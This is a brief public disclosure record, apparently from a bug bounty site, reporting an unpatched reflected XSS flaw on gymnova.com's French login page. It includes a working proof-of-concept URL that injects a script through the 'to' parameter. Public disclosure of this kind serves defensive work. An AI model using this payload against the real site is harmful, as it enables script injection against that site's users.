gymnova.com XSS vulnerability

Vulnerable URL: http://www.gymnova.com/fr/connexion/?to=%22%3E%3Cscript%3Ealert%27OPENBUGBOUNTY%27%3C/script%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 14.09.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 667863 VIP website...